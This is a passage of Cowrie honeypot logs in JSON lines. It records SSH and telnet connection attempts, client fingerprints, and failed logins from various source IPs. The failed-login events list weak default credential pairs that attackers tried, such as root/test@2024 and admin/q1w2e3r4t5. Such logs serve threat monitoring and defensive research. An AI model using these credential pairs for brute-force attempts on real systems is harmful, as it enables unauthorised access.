openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:07.933043Z","src_ip":"152.32.162.42","session":"9ca89bea5ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!","message":"login attempt [ubuntu/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:08.963427Z","src_ip":"152.32.162.42","session":"9ca89bea5ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:10.215212Z","src_ip":"152.32.162.42","session":"9ca89bea5ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.86707329750061,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:12.634607Z","src_ip":"190.183.203.15","session":"3452522a4e59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":43568,"dst_ip":"159.203.135.109","dst_port":22,"session":"11388c762b8e","protocol":"ssh","message":"New connection: 186.10.86.130:43568 (159.203.135.109:22) [session: 11388c762b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:19.047178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:19.052890Z","src_ip":"186.10.86.130","session":"11388c762b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:19.202846Z","src_ip":"186.10.86.130","session":"11388c762b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"admin","message":"login attempt [default/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:19.824983Z","src_ip":"186.10.86.130","session":"11388c762b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:20.976722Z","src_ip":"186.10.86.130","session":"11388c762b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"944fd23afd95","protocol":"ssh","message":"New connection: 186.113.245.157:36020 (10.17.0.5:22) [session: 944fd23afd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:33.583567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:33.588344Z","src_ip":"186.113.245.157","session":"944fd23afd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:33.681218Z","src_ip":"186.113.245.157","session":"944fd23afd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix1","message":"login attempt [bitrix/bitrix1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:34.086712Z","src_ip":"186.113.245.157","session":"944fd23afd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:35.182156Z","src_ip":"186.113.245.157","session":"944fd23afd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50004,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b68a57841e0","protocol":"telnet","message":"New connection: 165.232.131.181:50004 (10.17.0.5:23) [session: 9b68a57841e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:51.300577Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":50132,"dst_ip":"159.203.135.109","dst_port":22,"session":"74668b7fc6f2","protocol":"ssh","message":"New connection: 191.101.59.69:50132 (159.203.135.109:22) [session: 74668b7fc6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:51.982376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:51.987071Z","src_ip":"191.101.59.69","session":"74668b7fc6f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.083248Z","src_ip":"191.101.59.69","session":"74668b7fc6f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":39600,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b6a3cb3617","protocol":"ssh","message":"New connection: 177.85.247.230:39600 (10.17.0.5:22) [session: 69b6a3cb3617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.135409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.139511Z","src_ip":"177.85.247.230","session":"69b6a3cb3617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.240725Z","src_ip":"177.85.247.230","session":"69b6a3cb3617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4t5","message":"login attempt [admin/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.468582Z","src_ip":"191.101.59.69","session":"74668b7fc6f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server123","message":"login attempt [user/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:52.682577Z","src_ip":"177.85.247.230","session":"69b6a3cb3617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:53.563201Z","src_ip":"191.101.59.69","session":"74668b7fc6f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:53.787623Z","src_ip":"177.85.247.230","session":"69b6a3cb3617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee509e9b5f00","protocol":"ssh","message":"New connection: 60.199.224.2:42742 (159.203.135.109:22) [session: ee509e9b5f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:55.830008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:55.835797Z","src_ip":"60.199.224.2","session":"ee509e9b5f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:56.043882Z","src_ip":"60.199.224.2","session":"ee509e9b5f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user","message":"login attempt [user2/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:56.904656Z","src_ip":"60.199.224.2","session":"ee509e9b5f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":46250,"dst_ip":"10.17.0.5","dst_port":22,"session":"263dbfc72672","protocol":"ssh","message":"New connection: 152.32.162.42:46250 (10.17.0.5:22) [session: 263dbfc72672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:57.238412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:57.242893Z","src_ip":"152.32.162.42","session":"263dbfc72672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:57.505922Z","src_ip":"152.32.162.42","session":"263dbfc72672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:58.119331Z","src_ip":"60.199.224.2","session":"ee509e9b5f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2024","message":"login attempt [root/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:58.591314Z","src_ip":"152.32.162.42","session":"263dbfc72672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:15:59.859388Z","src_ip":"152.32.162.42","session":"263dbfc72672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56674,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb3f9277c9c","protocol":"telnet","message":"New connection: 45.81.23.16:56674 (10.17.0.5:23) [session: 1fb3f9277c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:10.438800Z"}
{"eventid":"cowrie.session.closed","duration":5.269522428512573,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:15.708205Z","src_ip":"45.81.23.16","session":"1fb3f9277c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":53140,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1ba9861244","protocol":"ssh","message":"New connection: 186.113.245.157:53140 (10.17.0.5:22) [session: bf1ba9861244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:28.292981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:28.298134Z","src_ip":"186.113.245.157","session":"bf1ba9861244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:28.396415Z","src_ip":"186.113.245.157","session":"bf1ba9861244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1234","message":"login attempt [ubuntu/P@ssw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:28.805474Z","src_ip":"186.113.245.157","session":"bf1ba9861244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:29.905118Z","src_ip":"186.113.245.157","session":"bf1ba9861244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33364,"dst_ip":"10.17.0.5","dst_port":23,"session":"2915f28ace61","protocol":"telnet","message":"New connection: 45.81.23.16:33364 (10.17.0.5:23) [session: 2915f28ace61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:30.470978Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33374,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8fee55fe9e1","protocol":"telnet","message":"New connection: 45.81.23.16:33374 (10.17.0.5:23) [session: c8fee55fe9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:30.702518Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41190,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a0b94c19b4","protocol":"telnet","message":"New connection: 65.60.27.33:41190 (10.17.0.5:23) [session: 79a0b94c19b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:30.859457Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47d9b4748ed","protocol":"telnet","message":"New connection: 45.81.23.16:33376 (10.17.0.5:23) [session: f47d9b4748ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:31.235691Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd9442f83a8","protocol":"telnet","message":"New connection: 45.81.23.16:33386 (10.17.0.5:23) [session: cbd9442f83a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:32.096303Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":41142,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a548981dd2","protocol":"ssh","message":"New connection: 186.10.86.130:41142 (159.203.135.109:22) [session: 60a548981dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:32.139601Z"}
